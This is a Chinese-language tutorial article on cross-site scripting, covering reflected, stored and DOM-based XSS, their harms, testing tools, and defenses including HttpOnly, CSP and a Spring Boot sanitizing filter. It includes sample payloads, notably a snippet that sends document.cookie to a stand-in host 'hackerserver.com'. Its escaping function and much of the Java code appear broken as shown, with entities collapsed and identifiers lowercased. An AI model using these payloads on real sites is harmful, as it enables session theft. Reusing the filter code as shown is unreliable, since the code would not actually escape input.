1.什么是xss?
cross-site scripting(跨站脚本攻击)简称 xss,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 cookie、sessionid 等,进而危害数据安全。
当页面被注入了恶意 javascript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 javascript 脚本也拥有所有的脚本权限。下面我们就来看看,如果页面被注入了恶意 javascript 脚本,恶意脚本都能做哪些事情。
- 可以窃取 cookie 信息。恶意 javascript 可以通过“document.cookie”获取 cookie 信息,然后通过 xmlhttprequest 或者 fetch 加上 cors 功能将数据发送给恶意服务器;恶意服务器拿到用户的 cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操 作。
- 可以监听用户行为。恶意 javascript 可以使用“addeventlistener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送 到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。
- 可以通过修改 dom伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
- 还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。
这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?
不仅仅是业务上的“用户的 ugc 内容”可以进行注入,包括 url 上的参数等都可以是攻击的来源。在处
理输入时,以下内容都不可信:
- 来自用户的 ugc 信息
- 来自第三方的链接
- url 参数
- post 参数
- referer (可能来自不可信的来源)
- cookie (可能来自其他子域注入)
2.xss 分类
2.1 反射型xss
交互的数据一般不会被存在数据库里面,只是简单的把用户输入的数据反射到浏览器,一次性,所见即可得。

if(isset($_get['submit'])){
if(empty($_get['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_get['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_get['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$pika_root_dir}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_get['message']},i don't care!</p>";
}
}
}
这段逻辑只是关注你有没有输入信息。
比如写一段恶意代码:
<script>alert(111)</script>

攻击过程必须让用户访问指定url 才能生效,并且访问过程产生的数据不会被服务端造成影响
反射型xss的总体流程总结 一下,你可以看下面这张图。黑客诱导你到点击了某个链接,这个链接提供的服务,可能就是上述的搜索功能。
网页在解析到链接 的参数后,执行正常的搜索 逻辑,但是因为漏洞,网页中被填入了黑客定义的脚本。使得用户的浏览器,最终执行的是黑客的脚本。

反射型xss漏洞常见于通过有url传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的url才能生效,攻击者往往会结合多种手段诱导用户点击。
post 的内容也可以触发反射型 xss,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。
2.2 存储型xss
交互的数据会被存储在数据库里面,永久性存储,具有很强的稳定性。

存储型 xss 的攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中。
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 html 中返回给浏览器。
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
<script>alert(document.cookie)</script>

每次不同的用户访问这个留言板的时候, 都会触发这个js代码, 因为是存储在数据库里(存储型)
2.3 dom型xss
基于 dom 的 xss 攻击是不牵涉到页面 web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面
传输过程中修改 html 页面的内容,这种劫持类型很多,有通过 wifi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 web
资源传输过程或者在用户使用页面的过程中修改 web 页面的数据。
dom 型 xss 的攻击步骤:
- 攻击者构造出特殊的 url,其中包含恶意代码。
- 用户打开带有恶意代码的 url。
- 用户浏览器接收到响应后解析执行,前端 javascript 取出 url 中的恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
dom 型 xss 跟前两种 xss 的区别:dom 型 xss 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 javascript 自身的安全漏洞,而其
他两种 xss 都属于服务端的安全漏洞。
3.漏洞危害
- 钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 javascript 以监控目标网站的表单输入。
- 网站挂马:跨站时利用 iframe 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
- 身份盗用:cookie 是用户对于特定网站的身份验证标志,xss 可以盗取到用户的 cookie,从而利用该 cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 cookie 被窃取,将会对网站引发巨大的危害。
- 盗取网站用户信息:当能够窃取到用户 cookie 从而获取到用户身份时,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
下面代码是读取目标网站的cookie发送到黑客的服务器上。
var i=document.createelement("img");
document.body.appendchild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
垃圾信息发送:比如在 sns 社区中,利用 xss 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
劫持用户 web 行为:一些高级的 xss 攻击甚至可以劫持用户的 web 行为,监视用户的浏览历史,发送与接收的数据等等。
xss 蠕虫:xss 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 ddos 攻击等。
4.测试方法
- 工具扫描: appscan、awvs
- 手动测试: burpsuite、firefox(hackbar)、xsser
使用手工检测web应用程序是否存在xss漏洞时,最重要的是考虑哪里有输入,输入的数据在什么地方输出。在进行手动检测xss时,人毕
竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在xss。
- 在目标站点上找到输入带你,比如查询接口,留言板等
- 输入一组 特殊字符+唯一识别字符 ,点击提交后,查看返回的源码,是否有做对应的处理;
- 通过搜索定位到唯一字符,结合唯一字符前后语法确认时候可以构造执行 js 的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在xss漏洞。
web漏洞扫描器原理:
https://www.acunetix.com/vulnerability-scanner/
5.解决方案
5.1 httponly
由于很多xss攻击目的都是盗取cookie的,因此可以公国httponly 属性来保护cookie的安全。httponly 默认是false,即这个cookie可以被js获取,假如你的cookie没加密又没设置httponly,你的cookie可能就会盗用,所以httponly增加了安全系数httponly 是包含在 set-cookie http 响应标头中的附加标志。可以防范 xss攻击。
springboot 项目中怎样设置,在配置文件中配置:
server.servlet.session.cookie.http-only 默认为true
5.2 客户端过滤
对用户的输入进行过滤,通过将 <>、''、""等字符进行转义,移除用户输入的style节点、script节点、iframe节点
const filterxss(str){
let s= '';
if(str.length == 0) return "";
s = str.replace(/&/g,"&");
s = s.replace(/</g,"<");
s = s.replace(/>/g,">");
s = s.replace(/ /g," ");
s = s.replace(/\'/g,"'");
s = s.replace(/\"/g,""");
return s;
}
5.3 充分利用csp
虽然在服务器端执行过滤或者转码可以阻止 xss 攻击的发生,但完全依靠服务器端依然是不够的,我们还需要把 csp 等策略充分地利用起来,
以降低 xss 攻击带来的风险和后果。
csp( content-security-policy )从字面意思来讲是“内容 - 安全 - 政策”。
通俗的讲就是该网页内容的一个安全策略,可以自定义资源的加载规则和资源所在地址源的白名单,用来限制资源是否被允许加载,即当受到 xss 攻击时,攻击的资源文件所在的地址源不满足 csp 配置的规则,即攻击资源会加载失败,以此达到防止 xss 攻击的效果。
csp的意义:防xss等攻击的利器。csp 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。csp 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
1.如何应用?
csp 可以由两种方式指定:http header 和 html。http 是在 http 由增加 header 来指定,而 html 级别则由 meta 标签指定。
csp 有两类:content-security-policy 和 content-security-policy-report-only。(大小写无关)
(1)content-security-policy:配置好并启用后,不符合 csp 的外部资源就会被阻止加载。
(2)content-security-policy-report-only:表示不执行限制选项,只是记录违反限制的行为。它必须
与report-uri选项配合使用。
ttp header : "content-security-policy:" 策略 "content-security-policy-report-only:" 策略
http content-security-policy 头可以指定一个或多个资源是安全的,而content-security-policy-report-only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。
html meta : <meta http-equiv="content-security-policy" content="策略"> <meta http-equiv="content-security-policy-report-only" content="策略">
meta 标签与 http 头只是行式不同而作用是一致的。与 http 头一样,优先采用最先定义的策略。如果 http 头与 meta 定义同时存在,则优先采用 http 中的定义。如果用户浏览器已经为当前文档执行了一个 csp 的策略,则会跳过 meta 的定义。如果 meta 标签缺少 content 属性也同样会跳过。
针对开发者草案中特别的提示一点:为了使用策略生效,应该将 meta 元素头放在开始位置,以防止提高人为的 csp 策略注入。
2.csp使用方式有两种
1、使用meta标签, 直接在页面添加meta标签
<meta http-equiv="content-security-policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';">
这种方式最简单,但是也有些缺陷,每个页面都需要添加,而且不能对限制的域名进行上报。
vue中使用csp参考:
2、在nginx中配置
###frame 同源策略 add_header x-frame-options sameorigin; ###csp防护 add_header content-security-policy "default-src 'self'; script-src 'self' 'unsafe-inline';font-src 'self' data:; img-src 'self' data: 'unsafe-inline' https:; style-src 'self' 'unsafe-inline';frame-ancestors 'self'; frame-src 'self';connect-src https:"; ###开启xss防护 add_header x-xss-protection "1"; ###资源解析 add_header x-content-type-options nosniff; ###hsts防护 add_header strict-transport-security "max-age=172800; includesubdomains";
3.匹配规则
csp内容匹配的规则:规则名称 规则 规则;规则名称 规则 ...
- default-src 所有资源的默认策略
- script-src js的加载策略,会覆盖default-src中的策略,比如写了default-src xx.com;script-src x.com xx.com; 必须同时加上xx.com,因为script-src会当作一个整体覆盖整个默认的default-src规则。
- ‘unsafe-inline’ 允许执行内联的js代码,默认为不允许,如果有内联的代码必须加上这条
- ‘unsafe-eval’ 允许执行eval等
详情配置及浏览器兼容性可查看官方文档:https://content-security-policy.com
https://cloud.tencent.com/developer/section/1189862
策略应该怎么写?示例
// 限制所有的外部资源,都只能从当前域名加载 content-security-policy: default-src 'self' // default-src 是 csp 指令,多个指令之间用英文分号分割;多个指令值用英文空格分割 content-security-policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none' // 错误写法,第二个指令将会被忽略 content-security-policy: script-src https://host1.com; script-src https://host2.com // 正确写法如下 content-security-policy: script-src https://host1.com https://host2.com
我们不仅希望防止 xss,还希望记录此类行为。report-uri就用来告诉浏览器,应该把注入行为报告给哪个网址。
// 通过report-uri指令指示浏览器发送json格式的拦截报告到某个url地址
content-security-policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
// 报告看起来会像下面这样
{
"csp-report": {
"document-uri": "http://example.org/page.html",
"referrer": "http://evil.example.com/",
"blocked-uri": "http://evil.example.com/evil.js",
"violated-directive": "script-src 'self' https://apis.google.com",
"original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser"
}
}
实施严格的 csp 可以有效地防范 xss 攻击,具体来讲 csp 有如下几个功能:
- 限制加载其他域下的资源文件,这样即使黑客插入了一个 javascript 文件,这个 javascript 文件也是无法被加载的;
- 禁止向第三方域提交数据,这样用户数据也不会外泄;
- 禁止执行内联脚本和未授权的脚本;
- 还提供了上报机制,这样可以帮助我们尽快发现有哪些 xss 攻击,以便尽快修复问题。
因此,利用好 csp 能够有效降低 xss 攻击的概率。
5.5 服务端校验
后端使用的 springboot
(1) 首先配置过滤器
@bean
public filterregistrationbean<xssfilter> xssfilterregistration() {
//创建配置bean对象,并指定->过滤器
filterregistrationbean<xssfilter> registrationbean = new filterregistrationbean<>(new xssfilter());
// 最后执行
registrationbean.setdispatchertypes(dispatchertype.request);
registrationbean.setorder(integer.max_value-1);
registrationbean.setname("xssfilter");
//添加需要过滤的url
registrationbean.addurlpatterns(strutil.splittoarray(urlpatterns, ','));
map<string, string> initparameters = new hashmap<>(4);
initparameters.put("excludes", excludes);
initparameters.put("enabled", enabled);
registrationbean.setinitparameters(initparameters);
return registrationbean;
}
(2) 过滤器
* 拦截防止xss注入 * 通过jsoup过滤请求参数内的特定字符 * 这种拦截只能处理:参数通过 request.getparameter获取到的 请求. * 但是对于 json格式传递 application/json 无法处理.
public class xssfilter implements filter {
private static logger logger = loggerfactory.getlogger(xssfilter.class);
/**
* 不需要过滤的链接
*/
public list<string> excludes = new arraylist<>();
/**
* xss过滤开关
*/
public boolean enabled = false;
@override
public void init(filterconfig filterconfig) throws servletexception {
string tempexcludes = filterconfig.getinitparameter("excludes");
string tempenabled = filterconfig.getinitparameter("enabled");
if (stringutils.isnotempty(tempexcludes)) {
string[] url = tempexcludes.split(",");
for (int i = 0; url != null && i < url.length; i++) {
excludes.add(url[i]);
}
}
if (stringutils.isnotempty(tempenabled)) {
enabled = boolean.valueof(tempenabled);
}
}
@override
public void dofilter(servletrequest request, servletresponse response, filterchain filterchain) throws ioexception, servletexception {
httpservletrequest req = (httpservletrequest) request;
httpservletresponse resp = (httpservletresponse) response;
if (handleexcludeurl(req, resp)) {
filterchain.dofilter(request, response);
return;
}
filterchain.dofilter(new xsshttpservletrequestwrapper((httpservletrequest) request), response);
}
@override
public void destroy() {
// noop
}
private boolean handleexcludeurl(httpservletrequest request, httpservletresponse response) {
if (!enabled) {
return true;
}
if (excludes == null || excludes.isempty()) {
return false;
}
string url = request.getservletpath();
for (string pattern : excludes) {
pattern p = pattern.compile("^" + pattern);
matcher m = p.matcher(url);
if (m.find()){
return true;
}
}
return false;
}
}xsshttpservletrequestwrapper:对 httpservletrequest 进行一次包装, 进行xss过滤.针对 post application/x-www-form-urlencoded 或者 get请求.
@slf4j
public class xsshttpservletrequestwrapper extends httpservletrequestwrapper {
private httpservletrequest orgrequest;
// html过滤
private final static htmlfilter htmlfilter = new htmlfilter();
public xsshttpservletrequestwrapper(httpservletrequest request) {
super(request);
orgrequest = request;
}
@override
public servletinputstream getinputstream() throws ioexception {
// 非json类型,直接返回
if (!isjsonrequest()) {
return super.getinputstream();
}
// 为空,直接返回
string json = ioutils.tostring(super.getinputstream(), "utf-8");
if (strutil.isblank(json)) {
return super.getinputstream();
}
// xss过滤
json = xssencode(json);
final bytearrayinputstream bis = new bytearrayinputstream(json.getbytes("utf-8"));
return new servletinputstream() {
@override
public boolean isfinished() {
return true;
}
@override
public boolean isready() {
return true;
}
@override
public void setreadlistener(readlistener readlistener) {
}
@override
public int read() throws ioexception {
return bis.read();
}
};
}
/**
* 覆盖getparameter方法,将参数名和参数值都做xss过滤。<br/>
*/
@override
public string getparameter(string rawname) {
string value = super.getparameter(xssencode(rawname));
if (strutil.isnotblank(value)) {
value = xssencode(value);
}
return value;
}
@override
public string[] getparametervalues(string name) {
string[] parameters = super.getparametervalues(name);
if (parameters == null || parameters.length == 0) {
return null;
}
for (int i = 0; i < parameters.length; i++) {
parameters[i] = xssencode(parameters[i]);
}
return parameters;
}
@override
public enumeration<string> getparameternames() {
enumeration<string> parameternames = super.getparameternames();
list<string> list = new linkedlist<>();
if (parameternames != null) {
while (parameternames.hasmoreelements()) {
string rawname = parameternames.nextelement();
string safetyname = xssencode(rawname);
if (!objects.equals(rawname, safetyname))
{
log.warn("请求路径: {},参数键: {}, xss过滤后: {}. 疑似xss攻击",
orgrequest.getrequesturi(), rawname, safetyname);
}
list.add(safetyname);
}
}
return collections.enumeration(list);
}
@override
public map<string, string[]> getparametermap() {
map<string, string[]> map = new linkedhashmap<>();
map<string, string[]> parameters = super.getparametermap();
for (string key : parameters.keyset()) {
string[] values = parameters.get(key);
for (int i = 0; i < values.length; i++) {
values[i] = xssencode(values[i]);
}
map.put(key, values);
}
return map;
}
/**
* 覆盖getheader方法,将参数名和参数值都做xss过滤。<br/>
* 如果需要获得原始的值,则通过super.getheaders(name)来获取<br/>
* getheadernames 也可能需要覆盖
*/
@override
public string getheader(string name) {
string value = super.getheader(xssencode(name));
if (strutil.isnotblank(value)) {
value = xssencode(value);
}
return value;
}
private string xssencode(string input) {
return htmlfilter.filter(input);
}
/**
* 是否是json请求
*/
public boolean isjsonrequest()
{
string header = super.getheader(httpheaders.content_type);
return stringutils.startswithignorecase(header, mediatype.application_json_value);
}
}htmlfilter
public final class htmlfilter {
/** regex flag union representing /si modifiers in php **/
private static final int regex_flags_si = pattern.case_insensitive | pattern.dotall;
private static final pattern p_comments = pattern.compile("<!--(.*?)-->", pattern.dotall);
private static final pattern p_comment = pattern.compile("^!--(.*)--$", regex_flags_si);
private static final pattern p_tags = pattern.compile("<(.*?)>", pattern.dotall);
private static final pattern p_end_tag = pattern.compile("^/([a-z0-9]+)", regex_flags_si);
private static final pattern p_start_tag = pattern.compile("^([a-z0-9]+)(.*?)(/?)$", regex_flags_si);
private static final pattern p_quoted_attributes = pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", regex_flags_si);
private static final pattern p_unquoted_attributes = pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", regex_flags_si);
private static final pattern p_protocol = pattern.compile("^([^:]+):", regex_flags_si);
private static final pattern p_entity = pattern.compile("&#(\\d+);?");
private static final pattern p_entity_unicode = pattern.compile("&#x([0-9a-f]+);?");
private static final pattern p_encode = pattern.compile("%([0-9a-f]{2});?");
private static final pattern p_valid_entities = pattern.compile("&([^&;]*)(?=(;|&|$))");
private static final pattern p_valid_quotes = pattern.compile("(>|^)([^<]+?)(<|$)", pattern.dotall);
private static final pattern p_end_arrow = pattern.compile("^>");
private static final pattern p_body_to_end = pattern.compile("<([^>]*?)(?=<|$)");
private static final pattern p_xml_content = pattern.compile("(^|>)([^<]*?)(?=>)");
private static final pattern p_stray_left_arrow = pattern.compile("<([^>]*?)(?=<|$)");
private static final pattern p_stray_right_arrow = pattern.compile("(^|>)([^<]*?)(?=>)");
private static final pattern p_amp = pattern.compile("&");
private static final pattern p_quote = pattern.compile("<");
private static final pattern p_left_arrow = pattern.compile("<");
private static final pattern p_right_arrow = pattern.compile(">");
private static final pattern p_both_arrows = pattern.compile("<>");
// @xxx could grow large... maybe use sesat's referencemap
private static final concurrentmap<string,pattern> p_remove_pair_blanks = new concurrenthashmap<string, pattern>();
private static final concurrentmap<string,pattern> p_remove_self_blanks = new concurrenthashmap<string, pattern>();
/** set of allowed html elements, along with allowed attributes for each element **/
private final map<string, list<string>> vallowed;
/** counts of open tags for each (allowable) html element **/
private final map<string, integer> vtagcounts = new hashmap<string, integer>();
/** html elements which must always be self-closing (e.g. "<img />") **/
private final string[] vselfclosingtags;
/** html elements which must always have separate opening and closing tags (e.g. "<b></b>") **/
private final string[] vneedclosingtags;
/** set of disallowed html elements **/
private final string[] vdisallowed;
/** attributes which should be checked for valid protocols **/
private final string[] vprotocolatts;
/** allowed protocols **/
private final string[] vallowedprotocols;
/** tags which should be removed if they contain no content (e.g. "<b></b>" or "<b />") **/
private final string[] vremoveblanks;
/** entities allowed within html markup **/
private final string[] vallowedentities;
/** flag determining whether comments are allowed in input string. */
private final boolean stripcomment;
private final boolean encodequotes;
private boolean vdebug = false;
/**
* flag determining whether to try to make tags when presented with "unbalanced"
* angle brackets (e.g. "<b text </b>" becomes "<b> text </b>"). if set to false,
* unbalanced angle brackets will be html escaped.
*/
private final boolean alwaysmaketags;
/** default constructor.
*
*/
public htmlfilter() {
vallowed = new hashmap<>();
final arraylist<string> a_atts = new arraylist<string>();
a_atts.add("href");
a_atts.add("target");
vallowed.put("a", a_atts);
final arraylist<string> img_atts = new arraylist<string>();
img_atts.add("src");
img_atts.add("width");
img_atts.add("height");
img_atts.add("alt");
vallowed.put("img", img_atts);
final arraylist<string> no_atts = new arraylist<string>();
vallowed.put("b", no_atts);
vallowed.put("strong", no_atts);
vallowed.put("i", no_atts);
vallowed.put("em", no_atts);
vselfclosingtags = new string[]{"img"};
vneedclosingtags = new string[]{"a", "b", "strong", "i", "em"};
vdisallowed = new string[]{};
vallowedprotocols = new string[]{"http", "mailto", "https"}; // no ftp.
vprotocolatts = new string[]{"src", "href"};
vremoveblanks = new string[]{"a", "b", "strong", "i", "em"};
vallowedentities = new string[]{"amp", "gt", "lt", "quot"};
stripcomment = true;
encodequotes = true;
alwaysmaketags = true;
}
/** set debug flag to true. otherwise use default settings. see the default constructor.
*
* @param debug turn debug on with a true argument
*/
public htmlfilter(final boolean debug) {
this();
vdebug = debug;
}
/** map-parameter configurable constructor.
*
* @param conf map containing configuration. keys match field names.
*/
@suppresswarnings("unchecked")
public htmlfilter(final map<string,object> conf) {
assert conf.containskey("vallowed") : "configuration requires vallowed";
assert conf.containskey("vselfclosingtags") : "configuration requires vselfclosingtags";
assert conf.containskey("vneedclosingtags") : "configuration requires vneedclosingtags";
assert conf.containskey("vdisallowed") : "configuration requires vdisallowed";
assert conf.containskey("vallowedprotocols") : "configuration requires vallowedprotocols";
assert conf.containskey("vprotocolatts") : "configuration requires vprotocolatts";
assert conf.containskey("vremoveblanks") : "configuration requires vremoveblanks";
assert conf.containskey("vallowedentities") : "configuration requires vallowedentities";
vallowed = collections.unmodifiablemap((hashmap<string, list<string>>) conf.get("vallowed"));
vselfclosingtags = (string[]) conf.get("vselfclosingtags");
vneedclosingtags = (string[]) conf.get("vneedclosingtags");
vdisallowed = (string[]) conf.get("vdisallowed");
vallowedprotocols = (string[]) conf.get("vallowedprotocols");
vprotocolatts = (string[]) conf.get("vprotocolatts");
vremoveblanks = (string[]) conf.get("vremoveblanks");
vallowedentities = (string[]) conf.get("vallowedentities");
stripcomment = conf.containskey("stripcomment") ? (boolean) conf.get("stripcomment") : true;
encodequotes = conf.containskey("encodequotes") ? (boolean) conf.get("encodequotes") : true;
alwaysmaketags = conf.containskey("alwaysmaketags") ? (boolean) conf.get("alwaysmaketags") : true;
}
private void reset() {
vtagcounts.clear();
}
private void debug(final string msg) {
if (vdebug) {
logger.getanonymouslogger().info(msg);
}
}
//---------------------------------------------------------------
// my versions of some php library functions
public static string chr(final int decimal) {
return string.valueof((char) decimal);
}
public static string htmlspecialchars(final string s) {
string result = s;
result = regexreplace(p_amp, "&", result);
result = regexreplace(p_quote, """, result);
result = regexreplace(p_left_arrow, "<", result);
result = regexreplace(p_right_arrow, ">", result);
return result;
}
//---------------------------------------------------------------
/**
* given a user submitted input string, filter out any invalid or restricted
* html.
*
* @param input text (i.e. submitted by a user) than may contain html
* @return "clean" version of input, with only valid, whitelisted html elements allowed
*/
public string filter(final string input) {
reset();
string s = input;
debug("************************************************");
debug(" input: " + input);
s = escapecomments(s);
debug(" escapecomments: " + s);
s = balancehtml(s);
debug(" balancehtml: " + s);
s = checktags(s);
debug(" checktags: " + s);
s = processremoveblanks(s);
debug("processremoveblanks: " + s);
s = validateentities(s);
debug(" validateentites: " + s);
debug("************************************************\n\n");
return s;
}
public boolean isalwaysmaketags(){
return alwaysmaketags;
}
public boolean isstripcomments(){
return stripcomment;
}
private string escapecomments(final string s) {
final matcher m = p_comments.matcher(s);
final stringbuffer buf = new stringbuffer();
if (m.find()) {
final string match = m.group(1); //(.*?)
m.appendreplacement(buf, matcher.quotereplacement("<!--" + htmlspecialchars(match) + "-->"));
}
m.appendtail(buf);
return buf.tostring();
}
private string balancehtml(string s) {
if (alwaysmaketags) {
//
// try and form html
//
s = regexreplace(p_end_arrow, "", s);
s = regexreplace(p_body_to_end, "<$1>", s);
s = regexreplace(p_xml_content, "$1<$2", s);
} else {
//
// escape stray brackets
//
s = regexreplace(p_stray_left_arrow, "<$1", s);
s = regexreplace(p_stray_right_arrow, "$1$2><", s);
//
// the last regexp causes '<>' entities to appear
// (we need to do a lookahead assertion so that the last bracket can
// be used in the next pass of the regexp)
//
s = regexreplace(p_both_arrows, "", s);
}
return s;
}
private string checktags(string s) {
matcher m = p_tags.matcher(s);
final stringbuffer buf = new stringbuffer();
while (m.find()) {
string replacestr = m.group(1);
replacestr = processtag(replacestr);
m.appendreplacement(buf, matcher.quotereplacement(replacestr));
}
m.appendtail(buf);
s = buf.tostring();
// these get tallied in processtag
// (remember to reset before subsequent calls to filter method)
for (string key : vtagcounts.keyset()) {
for (int ii = 0; ii < vtagcounts.get(key); ii++) {
s += "</" + key + ">";
}
}
return s;
}
private string processremoveblanks(final string s) {
string result = s;
for (string tag : vremoveblanks) {
if(!p_remove_pair_blanks.containskey(tag)){
p_remove_pair_blanks.putifabsent(tag, pattern.compile("<" + tag + "(\\s[^>]*)?></" + tag + ">"));
}
result = regexreplace(p_remove_pair_blanks.get(tag), "", result);
if(!p_remove_self_blanks.containskey(tag)){
p_remove_self_blanks.putifabsent(tag, pattern.compile("<" + tag + "(\\s[^>]*)?/>"));
}
result = regexreplace(p_remove_self_blanks.get(tag), "", result);
}
return result;
}
private static string regexreplace(final pattern regex_pattern, final string replacement, final string s) {
matcher m = regex_pattern.matcher(s);
return m.replaceall(replacement);
}
private string processtag(final string s) {
// ending tags
matcher m = p_end_tag.matcher(s);
if (m.find()) {
final string name = m.group(1).tolowercase();
if (allowed(name)) {
if (!inarray(name, vselfclosingtags)) {
if (vtagcounts.containskey(name)) {
vtagcounts.put(name, vtagcounts.get(name) - 1);
return "</" + name + ">";
}
}
}
}
// starting tags
m = p_start_tag.matcher(s);
if (m.find()) {
final string name = m.group(1).tolowercase();
final string body = m.group(2);
string ending = m.group(3);
//debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" );
if (allowed(name)) {
string params = "";
final matcher m2 = p_quoted_attributes.matcher(body);
final matcher m3 = p_unquoted_attributes.matcher(body);
final list<string> paramnames = new arraylist<string>();
final list<string> paramvalues = new arraylist<string>();
while (m2.find()) {
paramnames.add(m2.group(1)); //([a-z0-9]+)
paramvalues.add(m2.group(3)); //(.*?)
}
while (m3.find()) {
paramnames.add(m3.group(1)); //([a-z0-9]+)
paramvalues.add(m3.group(3)); //([^\"\\s']+)
}
string paramname, paramvalue;
for (int ii = 0; ii < paramnames.size(); ii++) {
paramname = paramnames.get(ii).tolowercase();
paramvalue = paramvalues.get(ii);
// debug( "paramname='" + paramname + "'" );
// debug( "paramvalue='" + paramvalue + "'" );
// debug( "allowed? " + vallowed.get( name ).contains( paramname ) );
if (allowedattribute(name, paramname)) {
if (inarray(paramname, vprotocolatts)) {
paramvalue = processparamprotocol(paramvalue);
}
params += " " + paramname + "=\"" + paramvalue + "\"";
}
}
if (inarray(name, vselfclosingtags)) {
ending = " /";
}
if (inarray(name, vneedclosingtags)) {
ending = "";
}
if (ending == null || ending.length() < 1) {
if (vtagcounts.containskey(name)) {
vtagcounts.put(name, vtagcounts.get(name) + 1);
} else {
vtagcounts.put(name, 1);
}
} else {
ending = " /";
}
return "<" + name + params + ending + ">";
} else {
return "";
}
}
// comments
m = p_comment.matcher(s);
if (!stripcomment && m.find()) {
return "<" + m.group() + ">";
}
return "";
}
private string processparamprotocol(string s) {
s = decodeentities(s);
final matcher m = p_protocol.matcher(s);
if (m.find()) {
final string protocol = m.group(1);
if (!inarray(protocol, vallowedprotocols)) {
// bad protocol, turn into local anchor link instead
s = "#" + s.substring(protocol.length() + 1, s.length());
if (s.startswith("#//")) {
s = "#" + s.substring(3, s.length());
}
}
}
return s;
}
private string decodeentities(string s) {
stringbuffer buf = new stringbuffer();
matcher m = p_entity.matcher(s);
while (m.find()) {
final string match = m.group(1);
final int decimal = integer.decode(match).intvalue();
m.appendreplacement(buf, matcher.quotereplacement(chr(decimal)));
}
m.appendtail(buf);
s = buf.tostring();
buf = new stringbuffer();
m = p_entity_unicode.matcher(s);
while (m.find()) {
final string match = m.group(1);
final int decimal = integer.valueof(match, 16).intvalue();
m.appendreplacement(buf, matcher.quotereplacement(chr(decimal)));
}
m.appendtail(buf);
s = buf.tostring();
buf = new stringbuffer();
m = p_encode.matcher(s);
while (m.find()) {
final string match = m.group(1);
final int decimal = integer.valueof(match, 16).intvalue();
m.appendreplacement(buf, matcher.quotereplacement(chr(decimal)));
}
m.appendtail(buf);
s = buf.tostring();
s = validateentities(s);
return s;
}
private string validateentities(final string s) {
stringbuffer buf = new stringbuffer();
// validate entities throughout the string
matcher m = p_valid_entities.matcher(s);
while (m.find()) {
final string one = m.group(1); //([^&;]*)
final string two = m.group(2); //(?=(;|&|$))
m.appendreplacement(buf, matcher.quotereplacement(checkentity(one, two)));
}
m.appendtail(buf);
return encodequotes(buf.tostring());
}
private string encodequotes(final string s){
if(encodequotes){
stringbuffer buf = new stringbuffer();
matcher m = p_valid_quotes.matcher(s);
while (m.find()) {
final string one = m.group(1); //(>|^)
final string two = m.group(2); //([^<]+?)
final string three = m.group(3); //(<|$)
m.appendreplacement(buf, matcher.quotereplacement(one + regexreplace(p_quote, """, two) + three));
}
m.appendtail(buf);
return buf.tostring();
}else{
return s;
}
}
private string checkentity(final string preamble, final string term) {
return ";".equals(term) && isvalidentity(preamble)
? '&' + preamble
: "&" + preamble;
}
private boolean isvalidentity(final string entity) {
return inarray(entity, vallowedentities);
}
private static boolean inarray(final string s, final string[] array) {
for (string item : array) {
if (item != null && item.equals(s)) {
return true;
}
}
return false;
}
private boolean allowed(final string name) {
return (vallowed.isempty() || vallowed.containskey(name)) && !inarray(name, vdisallowed);
}
private boolean allowedattribute(final string name, final string paramname) {
return allowed(name) && (vallowed.isempty() || vallowed.get(name).contains(paramname));
}
}总结
到此这篇关于跨站脚本攻击xss分类介绍以及解决方案的文章就介绍到这了,更多相关跨站脚本攻击xss分类及解决内容请搜索代码网以前的文章或继续浏览下面的相关文章希望大家以后多多支持代码网!
发表评论